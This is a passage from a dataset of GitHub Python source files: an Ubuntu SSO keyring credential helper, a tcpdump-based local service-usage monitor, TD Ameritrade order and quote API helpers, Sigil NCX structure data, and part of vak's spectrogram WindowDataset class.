'.join(words))\n","repo_name":"PistachioCake/TAMU-ENGR102","sub_path":"Lab07b/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"72776520265","text":"import socket\nimport urllib\nimport urlparse\n\nimport gnomekeyring\n\nfrom ubuntu_sso.logger import setup_logging\n\n\nlogger = setup_logging(\"ubuntu_sso.keyring\")\nTOKEN_SEPARATOR = ' @ '\nSEPARATOR_REPLACEMENT = ' AT '\n\nU1_APP_NAME = \"Ubuntu One\"\nU1_KEY_NAME = \"UbuntuOne token for https://ubuntuone.com\"\nU1_KEY_ATTR = {\n \"oauth-consumer-key\": \"ubuntuone\",\n \"ubuntuone-realm\": \"https://ubuntuone.com\",\n}\n\n\ndef get_old_token_name(app_name):\n \"\"\"Build the token name (old style).\"\"\"\n quoted_app_name = urllib.quote(app_name)\n computer_name = socket.gethostname()\n quoted_computer_name = urllib.quote(computer_name)\n return \"%s - %s\" % (quoted_app_name, quoted_computer_name)\n\n\ndef get_token_name(app_name):\n \"\"\"Build the token name.\"\"\"\n computer_name = socket.gethostname()\n computer_name = computer_name.replace(TOKEN_SEPARATOR,\n SEPARATOR_REPLACEMENT)\n return TOKEN_SEPARATOR.join((app_name, computer_name)).encode('utf-8')\n\n\nclass Keyring(object):\n \"\"\"A Keyring for a given application name.\"\"\"\n\n def __init__(self, app_name):\n \"\"\"Initialize this instance given the app_name.\"\"\"\n if not gnomekeyring.is_available():\n raise gnomekeyring.NoKeyringDaemonError\n self.app_name = app_name\n self.token_name = get_token_name(self.app_name)\n\n def _find_keyring_item(self, attr=None):\n \"\"\"Return the keyring item or None if not found.\"\"\"\n if attr is None:\n attr = self._get_keyring_attr()\n try:\n items = gnomekeyring.find_items_sync(\n gnomekeyring.ITEM_GENERIC_SECRET,\n attr)\n except gnomekeyring.NoMatchError:\n # if no items found, return None\n return None\n\n # we priorize the item in the \"login\" keyring\n for item in items:\n if item.keyring == \"login\":\n return item\n\n # if not on the \"login\" keyring, we return the first item\n return items[0]\n\n def _get_keyring_attr(self):\n \"\"\"Build the keyring attributes for this credentials.\"\"\"\n attr = {\"key-type\": \"Ubuntu SSO credentials\",\n \"token-name\": self.token_name}\n return attr\n\n def set_ubuntusso_attr(self, cred):\n \"\"\"Set the credentials of the Ubuntu SSO item.\"\"\"\n # Creates the secret from the credentials\n secret = urllib.urlencode(cred)\n\n # Add our SSO credentials to the keyring\n gnomekeyring.item_create_sync(None, gnomekeyring.ITEM_GENERIC_SECRET,\n self.app_name, self._get_keyring_attr(), secret, True)\n\n def _migrate_old_token_name(self):\n \"\"\"Migrate credentials with old name, store them with new name.\"\"\"\n attr = self._get_keyring_attr()\n attr['token-name'] = get_old_token_name(self.app_name)\n item = self._find_keyring_item(attr=attr)\n if item is not None:\n self.set_ubuntusso_attr(dict(urlparse.parse_qsl(item.secret)))\n gnomekeyring.item_delete_sync(item.keyring, item.item_id)\n\n return self._find_keyring_item()\n\n def get_ubuntusso_attr(self):\n \"\"\"Return the secret of the SSO item in a dictionary.\"\"\"\n # If we have no attributes, return None\n item = self._find_keyring_item()\n if item is None:\n item = self._migrate_old_token_name()\n\n if item is not None:\n return dict(urlparse.parse_qsl(item.secret))\n else:\n # if no item found, try getting the old credentials\n if self.app_name == U1_APP_NAME:\n return try_old_credentials(self.app_name)\n # nothing was found\n return None\n\n def delete_ubuntusso_attr(self):\n \"\"\"Delete a set of credentials from the keyring.\"\"\"\n item = self._find_keyring_item()\n if item is not None:\n gnomekeyring.item_delete_sync(item.keyring, item.item_id)\n\n\nclass UbuntuOneOAuthKeyring(Keyring):\n \"\"\"A particular Keyring for Ubuntu One.\"\"\"\n\n def _get_keyring_attr(self):\n \"\"\"Build the keyring attributes for this credentials.\"\"\"\n return U1_KEY_ATTR\n\n\ndef try_old_credentials(app_name):\n \"\"\"Try to get old U1 credentials and format them as new.\"\"\"\n logger.debug('trying to get old credentials.')\n old_creds = UbuntuOneOAuthKeyring(U1_KEY_NAME).get_ubuntusso_attr()\n if old_creds is not None:\n # Old creds found, build a new credentials dict with them\n creds = {\n 'consumer_key': \"ubuntuone\",\n 'consumer_secret': \"hammertime\",\n 'name': U1_KEY_NAME,\n 'token': old_creds[\"oauth_token\"],\n 'token_secret': old_creds[\"oauth_token_secret\"],\n }\n logger.debug('found old credentials')\n return creds\n logger.debug('try_old_credentials: No old credentials for this app.')\n\n\nif __name__ == \"__main__\":\n # pylint: disable=C0103\n\n kr1 = Keyring(\"Test key 1\")\n kr2 = Keyring(\"Test key 2\")\n\n kr1.delete_ubuntusso_attr()\n kr2.delete_ubuntusso_attr()\n\n d1 = {\"name\": \"test-1\", \"ha\": \"hehddddeff\", \"hi\": \"hggehes\", \"ho\": \"he\"}\n d2 = {\"name\": \"test-2\", \"hi\": \"ho\", \"let's\": \"go\"}\n\n kr1.set_ubuntusso_attr(d1)\n kr2.set_ubuntusso_attr(d2)\n\n r1 = kr1.get_ubuntusso_attr()\n r2 = kr2.get_ubuntusso_attr()\n\n assert r1 == d1\n assert r2 == d2\n","repo_name":"inxware/ert-contrib-middleware","sub_path":"target_libs/arm-linux-gnu-glibc-2.12.1-ti-blaze-ubuntu-10_10-gtk_gst/arm-linux-gnu-glibc-2.12.1-ti-blaze-ubuntu-10_10-gtk_gst/build/lib/pymodules/python2.6/ubuntu_sso/keyring.py","file_name":"keyring.py","file_ext":"py","file_size_in_byte":5395,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"24300173759","text":"\"\"\"\nBasic script to set authors > human readable JSON file.\n\"\"\"\n\n# Set author list\n# Note Phil & Andy currently missing from Google Scholar Profiles.\n\nauthorList = { 'Ben Sussman':{'ID':'IDU7HMMAAAAJ'},\n 'Rune Lausten':{'ID':'Sx-Dx4cAAAAJ'},\n 'Paul Hockett':{'ID':'e4FgTYMAAAAJ'},\n 'Duncan England':{'ID':'IzqvkioAAAAJ'},\n 'Phil Bustard':{'ID':None},\n 'Andrew Ridsdale':{'ID':'3RQEGVEAAAAJ'},\n 'Khabat Heshami':{'ID':'fBBMAKwAAAAJ'},\n }\n\n# Dump to file - OK\nimport json\nwith open('authors.json', 'w') as fp:\n json.dump(authorList, fp, indent=4, sort_keys=True)\n","repo_name":"UQOgroup/UQO-group-publications","sub_path":"automation/setAuthors.py","file_name":"setAuthors.py","file_ext":"py","file_size_in_byte":639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"32171318199","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# vim:ts=4:sw=4:softtabstop=4:smarttab:expandtab\n\nfrom __future__ import unicode_literals, division, absolute_import, print_function\n\nxml_structure = {\n # [ (set of allowed parents), isVoid, min_count, max_count, (set of required predecessors) ]\n 'navLabel' : [ ('navPoint', 'pageTarget', 'navList', 'navTarget'), False, 0, -1, (None) ],\n 'text' : [ ('docTitle', 'docAuthor', 'navLabel'), False, 1, -1, (None) ],\n 'content' : [ ('navPoint', 'pageTarget', 'navTarget'), True, 1, -1, (None) ],\n 'navPoint' : [ ('navMap', 'navPoint'), False, 1, -1, (None) ],\n 'ncx' : [ (None), False, 1, 1, (None) ],\n 'head' : [ ('ncx'), False, 1, 1, (None) ],\n 'meta' : [ ('head'), True, 0, -1, (None) ],\n 'docTitle' : [ ('ncx'), False, 0, 1, (None) ],\n 'docAuthor' : [ ('ncx'), False, 0, 1, (None) ],\n 'navMap' : [ ('ncx'), False, 1, 1, (None) ],\n 'pageList' : [ ('ncx'), False, 0, 1, (None) ],\n 'navList' : [ ('ncx'), False, 0, 1, (None) ],\n 'pageTarget' : [ ('pageList'), False, 0, -1, (None) ],\n 'navTarget' : [ ('navList'), False, 0, -1, (None) ],\n}\n\nmin_required_attribs = []\n","repo_name":"Sigil-Ebook/Sigil","sub_path":"src/Resource_Files/python3lib/ncxdata.py","file_name":"ncxdata.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"en","doc_type":"code","stars":5399,"dataset":"github-code","pt":"81"} +{"seq_id":"982936161","text":"#!/usr/bin/env python\n\"\"\"pyServiceUsageDiscovery.py: Discovers usage of host services based on incoming traffic analysis.\n\n\nTo run this script, just execute it using your python interpreter.\nYou will be asked to input your sudo password.\nLeave the script running for a while (a few days), ideally in its own `screen`.\nPress Ctrl-Z to output the current output without stopping the script.\nPress Ctrl-C to abort the script and read its output.\n\n\nThis program is free software: you can redistribute it and/or modify it under\nthe terms of the GNU General Public License as published by the Free Software\nFoundation, either version 3 of the License, or (at your option) any later\nversion.\nThis program is distributed in the hope that it will be useful, but WITHOUT\nANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS\nFOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.\nYou should have received a copy of the GNU General Public License along with\nthis program. If not, see .\n\"\"\"\n\n__author__ = \"Daniel Filipe Farinha\"\n__copyright__ = \"Copyright 2019, University of Saint Joseph\"\n__license__ = \"GPLv3\"\n__version__ = \"1.0.2\"\n\nimport subprocess as sub\nimport socket\nimport fcntl\nimport struct\nimport re\nimport socket\nimport signal\nimport sys\nimport operator\nimport pprint\nimport time\n\nopen_ports = []\nclients_logged = {}\npackets_processed = 0\n\n\nprint('This script requires running tcpdump as root, so you will be asked for your password for sudo.')\n\ndef signal_handler(sig, frame):\n print('\\nInterrupt detected. Output:')\n\n sorted_hosts = sorted(clients_logged.items(), reverse=True, key=lambda kv: kv[1])\n\n pprint.pprint(sorted_hosts)\n\n if(sig is signal.SIGINT):\n print('Terminated.')\n sys.exit(0)\n \n\ndef process_proc_net_tcp_line(line):\n pattern = re.compile(r\"\"\".*: .*:(?P.*?) .*:.* 0A.*\"\"\")\n match = pattern.match(line)\n\n if match:\n port_int = int(match.group(\"port\"), 16)\n port = str(port_int)\n open_ports.append(port)\n \n\ndef process_host_port(line):\n pattern = re.compile(r\"\"\"(?P\\d*\\.\\d*\\.\\d*\\.\\d*?)\\.(?P\\d*?)$\"\"\")\n match = pattern.match(line)\n\n if match:\n ip = str(match.group(\"ip\")).strip()\n port = str(match.group(\"port\")).strip()\n return (ip, port)\n\n\ndef process_tcpdump_line(line):\n global packets_processed\n pattern = re.compile(r\"\"\".* IP (?P.*?) > (?P.*?):.*\"\"\")\n match = pattern.match(line)\n\n if match:\n src = str(match.group(\"src\")).strip()\n dst = str(match.group(\"dst\")).strip()\n\n (src_ip, src_port) = process_host_port(src) or (None, None)\n (dst_ip, dst_port) = process_host_port(dst) or (None, None)\n\n if src_ip is not None and dst_port is not None:\n packets_processed += 1\n sys.stdout.write(\"Packets processed: %d Press Ctrl+C to terminate and display output.\\r\" % (packets_processed) )\n sys.stdout.flush()\n\n if dst_port in open_ports:\n key = src_ip + \" -> \" + dst_port\n\n if key in clients_logged:\n clients_logged[key] += 1\n else:\n clients_logged[key] = 1\n\n\n# get host ip address\ns = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\ns.connect((\"8.8.8.8\", 80))\nlocal_ip = s.getsockname()[0]\ns.close()\n\n# get open ports\np = sub.Popen(('cat', '/proc/net/tcp'), stdout=sub.PIPE)\nfor row in iter(p.stdout.readline, b''):\n process_proc_net_tcp_line(row.rstrip())\n\n# print IP and ports\nprint(\"IP: \" + local_ip)\nprint(\"Open ports: \" + str(open_ports))\n\n# register interrupt handlers\nsignal.signal(signal.SIGINT, signal_handler)\nsignal.signal(signal.SIGTSTP, signal_handler)\n\n\n# prepare tcpdump command\ndst = 'dst host ' + local_ip\np = sub.Popen(('sudo', 'tcpdump', '-nqnn', '-l', '-i', 'any', dst), stdout=sub.PIPE,\n preexec_fn = lambda: signal.signal(signal.SIGTSTP, signal.SIG_IGN))\n\nfor row in iter(p.stdout.readline, b''):\n process_tcpdump_line(row.rstrip())","repo_name":"USJ/pyServiceUsageDiscovery","sub_path":"pyServiceUsageDiscovery.py","file_name":"pyServiceUsageDiscovery.py","file_ext":"py","file_size_in_byte":4144,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"81"} +{"seq_id":"74434242186","text":"import requests\r\nfrom configparser import ConfigParser\r\nimport time\r\nfrom datetime import datetime, timedelta\r\nfrom datetime import date\r\nimport datetime\r\nimport urllib\r\nfrom splinter import Browser\r\nimport json\r\nimport os\r\n\r\n\r\ndef place_order(headers, ticker, quantity, instruction, quantityType):\r\n\t# headers is the authorization token\r\n\t# instruction is either 'Buy' or 'Sell'\r\n\r\n\tconfig = ConfigParser()\r\n\tconfig.read('config.ini')\r\n\tclient_id = config['info']['client_id']\r\n\taccount_number = config['info']['account_number']\r\n\tpassword = config['info']['password']\r\n\r\n\t# ACCOUNTS ENDPOINT\r\n\t# print(headers['Authorization_refresh'])\r\n\t# headers = headers['Authorization']\r\n\r\n\t# define an endpoint with a stock of your choice, MUST BE UPPER\r\n\tendpoint = r\"https://api.tdameritrade.com/v1/accounts\"\r\n\r\n\t# make a request\r\n\tcontent = requests.get(url = endpoint, headers = headers)\r\n\r\n\t# convert it dictionary object\r\n\tdata = content.json()\r\n\t# print(data)\r\n\r\n\t# grab the account id\r\n\taccount_id = data[0]['securitiesAccount']['accountId']\r\n\tprint(account_id)\r\n\r\n\t# -------------------------------------------------------------\r\n\r\n\t# ACCOUNT ENDPOINT\r\n\r\n\t# define an endpoint with a stock of your choice, MUST BE UPPER\r\n\tendpoint = r\"https://api.tdameritrade.com/v1/accounts/{}\".format(account_id)\r\n\r\n\t# define the payload\r\n\tpayload = {'apikey':client_id}\r\n\r\n\t# make a request\r\n\tcontent = requests.get(url = endpoint, headers = headers)\r\n\r\n\t# convert it dictionary object\r\n\tdata = content.json()\r\n\tprint(data)\r\n\r\n\t# -------------------------------------------------------------\r\n\r\n\t# ORDERS ENDPOINT - POST\r\n\t# define our headers\r\n\taccess_token = headers['Authorization'][7:]\r\n\theader = {'Authorization':\"Bearer {}\".format(access_token),\r\n\t \"Content-Type\":\"application/json\"}\r\n\r\n\t# define the endpoint for Saved orders, including your account ID\r\n\tendpoint = r\"https://api.tdameritrade.com/v1/accounts/{}/orders\".format(account_id)\r\n\r\n\t# define the payload, in JSON format\r\n\tpayload = {'orderType':'MARKET',\r\n\t 'session':'NORMAL',\r\n\t 'duration':'DAY',\r\n\t 'orderStrategyType':'SINGLE',\r\n\t 'orderLegCollection':[{'instruction':instruction, 'quantity':quantity, 'quantityType': quantityType, 'instrument':{'symbol':ticker,'assetType':'EQUITY'}}]}\r\n\r\n\r\n\t# make a post, NOTE WE'VE CHANGED DATA TO JSON AND ARE USING POST\r\n\tcontent = requests.post(url = endpoint, json = payload, headers = header)\r\n\r\n\t# show the status code, we want 200\r\n\tcontent.status_code\r\n\r\ndef get_quote(ticker):\r\n\r\n\tconfig = ConfigParser()\r\n\tconfig.read('config.ini')\r\n\tclient_id = config['info']['client_id']\r\n\taccount_number = config['info']['account_number']\r\n\tpassword = config['info']['password']\r\n\r\n\tendpoint = r\"https://api.tdameritrade.com/v1/marketdata/{}/quotes\".format(ticker)\r\n\tpayload = {'apikey': client_id,\r\n\t\t\t }\r\n\tcontent = requests.get(url = endpoint, params = payload)\r\n\tdata = content.json()\r\n\t# print(data)\r\n\treturn data\r\n\r\ndef account_info(headers):\r\n\r\n\tconfig = ConfigParser()\r\n\tconfig.read('config.ini')\r\n\tclient_id = config['info']['client_id']\r\n\taccount_number = config['info']['account_number']\r\n\tpassword = config['info']['password']\r\n\r\n\t# ACCOUNTS ENDPOINT\r\n\t# print(headers['Authorization_refresh'])\r\n\t# headers = headers['Authorization']\r\n\r\n\t# define an endpoint with a stock of your choice, MUST BE UPPER\r\n\tendpoint = r\"https://api.tdameritrade.com/v1/accounts\"\r\n\r\n\t# make a request\r\n\tcontent = requests.get(url = endpoint, headers = headers)\r\n\r\n\t# convert it dictionary object\r\n\tdata = content.json()\r\n\t# print(data)\r\n\r\n\t# grab the account id\r\n\taccount_id = data[0]['securitiesAccount']['accountId']\r\n\t# print(account_id)\r\n\r\n\t# -------------------------------------------------------------\r\n\r\n\t# ACCOUNT ENDPOINT\r\n\r\n\t# define an endpoint with a stock of your choice, MUST BE UPPER\r\n\tendpoint = r\"https://api.tdameritrade.com/v1/accounts/{}\".format(account_id)\r\n\r\n\t# define the payload\r\n\tpayload = {'fields':'positions'}\r\n\r\n\t# make a request\r\n\tcontent = requests.get(url = endpoint, params = payload, headers = headers)\r\n\r\n\t# convert it dictionary object\r\n\tdata = content.json()\r\n\t# print(data)\r\n\treturn data","repo_name":"YA9/algorithmic_stock_trader","sub_path":"td_order.py","file_name":"td_order.py","file_ext":"py","file_size_in_byte":4159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"81"} +{"seq_id":"11212024316","text":"import numpy as np\nimport pandas as pd\nimport random\nimport torch\nfrom torchvision.datasets.vision import VisionDataset\n\nfrom .. import annotation\nfrom .. import files\nfrom .. import io\nfrom .. import labeled_timebins\nfrom .. import validation\n\n\nclass WindowDataset(VisionDataset):\n \"\"\"Dataset class that represents all possible windows\n of a fixed width from a set of spectrograms.\n The underlying dataset consists of spectrograms\n of vocalizations and annotations for those vocalizations.\n\n Returns windows from the spectrograms, along with labels for each\n time bin in the window, derived from the annotations.\n\n Abstraction that enables training on a dataset of a specified duraiton.\n\n Attributes\n ----------\n root : str, Path\n path to a .csv file that represents the dataset.\n Name 'root' is used for consistency with torchvision.datasets\n x_inds : numpy.ndarray\n indices of each window in the dataset\n spect_id_vector : numpy.ndarray\n represents the 'id' of any spectrogram,\n i.e., the index into spect_paths that will let us load it\n spect_inds_vector : numpy.ndarray\n valid indices of windows we can grab from each spectrogram\n spect_paths : numpy.ndarray\n column from DataFrame that represents dataset,\n consisting of paths to files containing spectrograms as arrays\n annots : list\n of crowsetta.Annotation instances,\n loaded from from DataFrame that represents dataset, using vak.annotation.from_df.\n labelmap : dict\n that maps labels from dataset to a series of consecutive integer.\n To create a label map, pass a set of labels to the `vak.utils.labels.to_map` function.\n timebin_dur : float\n duration of a single time bin in spectrograms.\n window_size : int\n number of time bins in windows that will be taken from spectrograms\n spect_key : str\n key to access spectograms in array files. Default is 's'.\n timebins_key : str\n key to access time bin vector in array files. Default is 't'.\n transform : callable\n A function/transform that takes in a numpy array or torch Tensor\n and returns a transformed version. E.g, vak.transforms.StandardizeSpect\n Default is None.\n target_transform : callable\n A function/transform that takes in the target and transforms it.\n\n Notes\n -----\n This class uses three vectors to represent\n a dataset of windows from spectrograms, without actually loading\n all the spectrograms and concatenating them into one big matrix.\n The three vectors correspond to this imaginary, unloaded big matrix:\n (1) `spect_id_vector` that represents the 'id' of any spectrogram in this matrix,\n i.e., the index into spect_paths that will let us load it, and\n (2) `spect_inds_vector` where the elements represents valid indices of windows\n we can grab from each spectrogram. Valid indices are any up to the index n, where\n n = number of time bins in this spectrogram - number of time bins in our window\n (because if we tried to go past that the window would go past the edge of the\n spectrogram).\n (3) `x_inds` is our 'training set' vector, just a set\n of indices (0, 1, ..., m) where m is the length of vectors (1) and (2).\n\n When we want to grab a batch of size b of windows, we get b indices from x,\n and then index into vectors (1) and (2) so we know which spectrogram files to\n load, and which windows to grab from each spectrogram\n \"\"\"\n\n # class attribute, constant used by several methods\n # with x_inds, to mark invalid starting indices for windows\n INVALID_WINDOW_VAL = -1\n\n def __init__(self,\n root,\n x_inds,\n spect_id_vector,\n spect_inds_vector,\n spect_paths,\n annots,\n labelmap,\n timebin_dur,\n window_size,\n spect_key='s',\n timebins_key='t',\n transform=None,\n target_transform=None,\n ):\n \"\"\"initialize a WindowDataset instance\n\n Parameters\n ----------\n root : str, Path\n path to a .csv file that represents the dataset.\n Name 'root' is used for consistency with torchvision.datasets\n x_inds : numpy.ndarray\n indices of each window in the dataset. The value at x[0]\n represents the start index of the first window; using that\n value, we can index into spect_id_vector to get the path\n of the spectrogram file to load, and we can index into\n spect_inds_vector to index into the spectrogram itself\n and get the window.\n spect_id_vector : numpy.ndarray\n represents the 'id' of any spectrogram,\n i.e., the index into spect_paths that will let us load it\n spect_inds_vector : numpy.ndarray\n same length as spect_id_vector but values represent\n indices within each spectrogram.\n spect_paths : numpy.ndarray\n column from DataFrame that represents dataset,\n consisting of paths to files containing spectrograms as arrays\n annots : list\n of crowsetta.Annotation instances,\n loaded from from DataFrame that represents dataset, using vak.annotation.from_df.\n labelmap : dict\n that maps labels from dataset to a series of consecutive integer.\n To create a label map, pass a set of labels to the `vak.utils.labels.to_map` function.\n timebin_dur : float\n duration of a single time bin in spectrograms.\n window_size : int\n number of time bins in windows that will be taken from spectrograms\n spect_key : str\n key to access spectograms in array files. Default is 's'.\n timebins_key : str\n key to access time bin vector in array files. Default is 't'.\n transform : callable\n A function/transform that takes in a numpy array or torch Tensor\n and returns a transformed version. E.g, vak.transforms.StandardizeSpect\n Default is None.\n target_transform : callable\n A function/transform that takes in the target and transforms it.\n \"\"\"\n super(WindowDataset, self).__init__(root, transform=transform,\n target_transform=target_transform)\n self.x_inds = x_inds\n self.spect_id_vector = spect_id_vector\n self.spect_inds_vector = spect_inds_vector\n self.spect_paths = spect_paths\n self.spect_key = spect_key\n self.timebins_key = timebins_key\n self.annots = annots\n self.labelmap = labelmap\n self.timebin_dur = timebin_dur\n if 'unlabeled' in self.labelmap:\n self.unlabeled_label = self.labelmap['unlabeled']\n else:\n # if there is no \"unlabeled label\" (e.g., because all segments have labels)\n # just assign dummy value that will end up getting replaced by actual labels by label_timebins()\n self.unlabeled_label = 0\n self.window_size = window_size\n\n tmp_x_ind = 0\n one_x, _ = self.__getitem__(tmp_x_ind)\n # used by vak functions that need to determine size of window,\n # e.g. when initializing a neural network model\n self.shape = one_x.shape\n\n def __get_window_labelvec(self, idx):\n \"\"\"helper function that gets batches of training pairs,\n given indices into dataset\n\n Parameters\n ----------\n idx : integer\n index into dataset\n\n Returns\n -------\n window : numpy.ndarray\n window from spectrograms\n labelvec : numpy.ndarray\n vector of labels for each timebin in window from spectrogram\n \"\"\"\n x_ind = self.x_inds[idx]\n spect_id = self.spect_id_vector[x_ind]\n window_start_ind = self.spect_inds_vector[x_ind]\n\n spect_path = self.spect_paths[spect_id]\n spect_dict = files.spect.load(spect_path)\n spect = spect_dict[self.spect_key]\n timebins = spect_dict[self.timebins_key]\n\n annot = self.annots[spect_id] # \"annot id\" == spect_id if both were taken from rows of DataFrame\n lbls_int = [self.labelmap[lbl] for lbl in annot.seq.labels]\n lbl_tb = labeled_timebins.label_timebins(lbls_int,\n annot.seq.onsets_s,\n annot.seq.offsets_s,\n timebins,\n unlabeled_label=self.unlabeled_label)\n\n window = spect[:, window_start_ind:window_start_ind + self.window_size]\n labelvec = lbl_tb[window_start_ind:window_start_ind + self.window_size]\n\n return window, labelvec\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n window, labelvec = self.__get_window_labelvec(idx)\n\n if self.transform is not None:\n window = self.transform(window)\n\n if self.target_transform is not None:\n labelvec = self.target_transform(labelvec)\n\n return window, labelvec\n\n def __len__(self):\n \"\"\"number of batches\"\"\"\n return len(self.x_inds)\n\n def duration(self):\n \"\"\"duration of WindowDataset, in seconds\"\"\"\n return self.spect_inds_vector.shape[-1] * self.timebin_dur\n\n @staticmethod\n def crop_spect_vectors_keep_classes(lbl_tb,\n spect_id_vector,\n spect_inds_vector,\n x_inds,\n crop_dur,\n timebin_dur,\n labelmap,\n window_size):\n \"\"\"crop spect_id_vector and spect_ind_vector to a target duration\n while making sure that all classes are present in the cropped\n vectors\n\n Parameters\n ----------\n lbl_tb : numpy.ndarray\n labeled timebins, where labels are from the set of values in labelmap.\n spect_id_vector : numpy.ndarray\n represents the 'id' of any spectrogram,\n i.e., the index into spect_paths that will let us load it\n spect_inds_vector : numpy.ndarray\n same length as spect_id_vector but values represent\n indices within each spectrogram.\n x_inds : numpy.ndarray\n indices of each window in the dataset. The value at x[0]\n represents the start index of the first window; using that\n value, we can index into spect_id_vector to get the path\n of the spectrogram file to load, and we can index into\n spect_inds_vector to index into the spectrogram itself\n and get the window.\n crop_dur : float\n duration to which dataset should be \"cropped\". Default is None,\n in which case entire duration of specified split will be used.\n timebin_dur : float\n duration of a single time bin in spectrograms. Default is None.\n labelmap : dict\n that maps labels from dataset to a series of consecutive integers.\n To create a label map, pass a set of labels to the `vak.utils.labels.to_map` function.\n\n Returns\n -------\n spect_id_cropped : numpy.ndarray\n spect_id_vector after cropping\n spect_inds_cropped : numpy.ndarray\n spect_inds_vector after cropping\n x_inds_updated : numpy.ndarray\n x_inds_vector with starting indices of windows that are invalid\n after the cropping now set to WindowDataset.INVALID_WINDOW_VAL\n so they will be removed\n \"\"\"\n lbl_tb = validation.column_or_1d(lbl_tb)\n spect_id_vector = validation.column_or_1d(spect_id_vector)\n spect_inds_vector = validation.column_or_1d(spect_inds_vector)\n x_inds = validation.column_or_1d(x_inds)\n\n lens = (lbl_tb.shape[-1],\n spect_id_vector.shape[-1],\n spect_inds_vector.shape[-1],\n x_inds.shape[-1])\n uniq_lens = set(lens)\n if len(uniq_lens) != 1:\n raise ValueError(\n 'lbl_tb, spect_id_vector, spect_inds_vector, and x_inds should all '\n 'have the same length, but did not find one unique length. '\n 'Lengths of lbl_tb, spect_id_vector, spect_inds_vector, and x_inds_vector '\n f'were: {lens}'\n )\n\n cropped_length = np.round(crop_dur / timebin_dur).astype(int)\n\n if spect_id_vector.shape[-1] == cropped_length:\n return spect_id_vector, spect_inds_vector, x_inds\n\n elif spect_id_vector.shape[-1] < cropped_length:\n raise ValueError(\n f\"arrays have length {spect_id_vector.shape[-1]} \"\n f\"that is shorter than correct length, {cropped_length}, \"\n f\"(= target duration {crop_dur} / duration of timebins, {timebin_dur}).\"\n )\n\n elif spect_id_vector.shape[-1] > cropped_length:\n classes = np.asarray(\n sorted(list(labelmap.values()))\n )\n\n # try cropping off the end first\n lbl_tb_cropped = lbl_tb[:cropped_length]\n\n if np.array_equal(np.unique(lbl_tb_cropped), classes):\n x_inds[cropped_length:] = WindowDataset.INVALID_WINDOW_VAL\n return spect_id_vector[:cropped_length], spect_inds_vector[:cropped_length], x_inds\n\n # try truncating off the front instead\n lbl_tb_cropped = lbl_tb[-cropped_length:]\n if np.array_equal(np.unique(lbl_tb_cropped), classes):\n # set every index *up to but not including* the first valid window start to \"invalid\"\n x_inds[:-cropped_length] = WindowDataset.INVALID_WINDOW_VAL\n # also need to 'reset' the indexing so it starts at 0. First find current minimum index value\n min_x_ind = x_inds[x_inds != WindowDataset.INVALID_WINDOW_VAL].min()\n # Then set min x ind to 0, min x ind + 1 to 1, min ind + 2 to 2, ...\n x_inds[x_inds != WindowDataset.INVALID_WINDOW_VAL] = \\\n x_inds[x_inds != WindowDataset.INVALID_WINDOW_VAL] - min_x_ind\n return spect_id_vector[-cropped_length:], spect_inds_vector[-cropped_length:], x_inds\n\n # try cropping silences\n # This is done by seeking segments > window_size + 2 bins and removing from them\n # When using this option we do not crop the spect vector sizes\n\n # Ignored data is defined as data that does not appear in any training window.\n # This means that there are 3 distinct cases:\n # 1. Silence in the beginning of a file\n # 2. Silence in the middle of a file\n # 3. Silence at the end of the file\n # (here 'end' means the segment prior to the last window_size bins in the file because\n # Those are not used as startpoints of a training window)\n\n # assigining WindowDataset.INVALID_WINDOW_VAL to x_inds segments\n # in these 3 cases will cause data to be ignored with\n # durations that depend on wether the segments touch the ends of files\n # because we do not ignore non-silence segments.\n\n # first identify all silence segments larger than the window duration + 2\n if 'unlabeled' in labelmap:\n unlabeled = labelmap['unlabeled']\n else:\n raise ValueError(\n \"was not able to crop spect vectors to specified duration; \"\n \"could not crop from start or end, and there are no unlabeled segments \"\n \"that could be used to further crop\"\n )\n valid_unlabeled = np.logical_and(lbl_tb == unlabeled, x_inds != WindowDataset.INVALID_WINDOW_VAL)\n unlabeled_diff = np.diff(np.concatenate([[0], valid_unlabeled, [0]]))\n unlabeled_onsets = np.where(unlabeled_diff == 1)[0]\n unlabeled_offsets = np.where(unlabeled_diff == -1)[0]\n unlabeled_durations = unlabeled_offsets - unlabeled_onsets\n N_PAD_BINS = 2\n unlabeled_onsets = unlabeled_onsets[unlabeled_durations >= window_size + N_PAD_BINS]\n unlabeled_offsets = unlabeled_offsets[unlabeled_durations >= window_size + N_PAD_BINS]\n unlabeled_durations = unlabeled_durations[unlabeled_durations >= window_size + N_PAD_BINS]\n # indicate silences in the beginning of files\n border_onsets = np.concatenate([[WindowDataset.INVALID_WINDOW_VAL],\n x_inds])[unlabeled_onsets] == WindowDataset.INVALID_WINDOW_VAL\n # indicate silences at the end of files\n border_offsets = np.concatenate([x_inds, [WindowDataset.INVALID_WINDOW_VAL]]\n )[unlabeled_offsets + 1] == WindowDataset.INVALID_WINDOW_VAL\n\n # This is how much data can be ignored from each silence segment without ignoring the end of file windows\n num_potential_ignored_data_bins = unlabeled_durations - (window_size + N_PAD_BINS) + \\\n window_size * border_onsets\n\n num_bins_to_crop = len(lbl_tb) - cropped_length\n if sum(num_potential_ignored_data_bins) < num_bins_to_crop:\n # This is how much data can be ignored from each silence segment including the end of file windows\n num_potential_ignored_data_bins = unlabeled_durations - (window_size - N_PAD_BINS) + \\\n window_size * (border_onsets + border_offsets)\n else:\n border_offsets[:] = False\n\n # Second we find a ~random combination to remove\n crop_more = 0\n if sum(num_potential_ignored_data_bins) < num_bins_to_crop:\n # if we will still need to crop more we will do so from non-silence segments\n crop_more = num_bins_to_crop - sum(num_potential_ignored_data_bins) + 1\n num_bins_to_crop = sum(num_potential_ignored_data_bins) - 1\n\n segment_ind = np.arange(len(num_potential_ignored_data_bins))\n random.shuffle(segment_ind)\n last_ind = 